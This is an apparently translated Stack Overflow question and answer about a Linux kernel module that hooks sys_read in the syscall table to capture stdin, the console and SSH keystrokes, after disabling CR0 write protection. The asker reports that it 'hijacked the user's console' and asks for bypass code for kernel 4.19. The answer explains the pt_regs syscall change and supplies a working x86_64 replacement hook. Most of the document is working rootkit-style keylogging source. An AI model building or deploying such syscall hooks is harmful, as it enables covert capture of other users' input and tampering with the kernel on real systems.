新 Linux 内核中的内存隔离,还是什么?

lfs*_*rtj 5 c kernel-module linux-kernel

这个我的模块完美地劫持了用户的控制台:https : //pastebin.com/99YJFnaq

它是 Linux 内核 4.12,Kali 2018.1。

现在,我已经安装了最新版本的 Kali - 2019.1。它使用内核 4.19:

Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux

我试图捕捉任何东西,但流中不存在 fd == 0 的任何东西。


我用谷歌搜索了很长时间,试图阅读changelogs不同的资源......

我找到了这样的模块kpti,它可能会做类似的事情,但是这个模块没有安装在 Kali 2019.1 中。

请帮我找出hacked_read这段代码停止听到的确切原因sys_read()

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );
Run Code Online (Sandbox Code Playgroud)

生成文件:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions
Run Code Online (Sandbox Code Playgroud)

我敢肯定,以前的一切都在不断地调用sys_read(). tee, bash, vi- 所有这些东西都不能在这么短的时间内改变,但是linux-kernel

我会欣赏绕过的代码。

Dan*_*ver 4

一些故障排除显示如下:

  • 当然,没有一个用户空间程序停止使用read(). 他们仍然继续这样称呼。
  • 不存在“内存隔离”。系统调用表在模块初始化期间成功修改,并且指向的指针sys_read()成功替换为指向的指针hacked_read_test()
  • 加载模块后,read()系统调用就像原始系统调用一样工作。
  • 行为的变化发生在内核4.16和之间4.16.2(即2018 年 4 月 1 日2018 年 4 月 12 日之间)。

考虑到这一点,我们需要检查的提交列表非常狭窄,并且更改可能发生在系统调用机制中。好吧,看起来这个提交就是我们正在寻找的(还有更多)。

此提交的关键部分是它更改了 定义的函数的签名,SYSCALL_DEFINEx以便它们接受指向 struct pt_regs而不是系统调用参数的指针,即sys_read(unsigned int fd, char __user * buf, size_t count)变为sys_read(const struct pt_regs *regs)。这意味着,它hacked_read_test(unsigned int fd, char *buf, size_t count)不再是有效的替代品sys_read()!的有效替代品。

因此,使用新内核时,您可以将其替换sys_read(const struct pt_regs *regs)hacked_read_test(unsigned int fd, char *buf, size_t count). 为什么这不会崩溃,而是像原始版本一样工作sys_read()?再次考虑简化版本hacked_read_test()

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}
Run Code Online (Sandbox Code Playgroud)

出色地。第一个函数参数通过寄存器传递%rdi。的调用者sys_read()将指针struct pt_regs放入%rdi并执行调用。执行流程进入hacked_read_test(),并检查第一个参数fd是否不为零。考虑到这个参数包含一个有效的指针而不是文件描述符,这个条件成功,控制流直接转到original_read(),它接收fd值(即,实际上是指向 的指针struct pt_regs)作为第一个参数,然后它又成功按其本来的用途使用。因此,由于内核,4.16.2您的hacked_read_test() 有效工作方式如下:

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}
Run Code Online (Sandbox Code Playgroud)

为了确保这一点,您可以尝试以下替代版本hacked_read_test()

unsigned long hacked_read_test( void *ptr ) {    
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}
Run Code Online (Sandbox Code Playgroud)

编译并insmod编译该版本后,您将得到以下内容:

invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)
Run Code Online (Sandbox Code Playgroud)

您可以创建 的工作版本hacked_read_test(),但似乎实现将依赖于平台,因为您必须从 的相应寄存器字段中提取参数regs(对于x86_84这些分别是%rdi%rsi以及%rdx第一个、第二个和第三个系统调用参数) 。

工作x86_64实现如下(在内核上测试4.19)。

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}
Run Code Online (Sandbox Code Playgroud)

  • “你是怎么得到这个的?” - 只是一个实验性的二进制搜索(将不同版本的内核安装到虚拟机并检查模块)。大约需要 10 或 11 次迭代才能找到这些特定版本。 (3认同)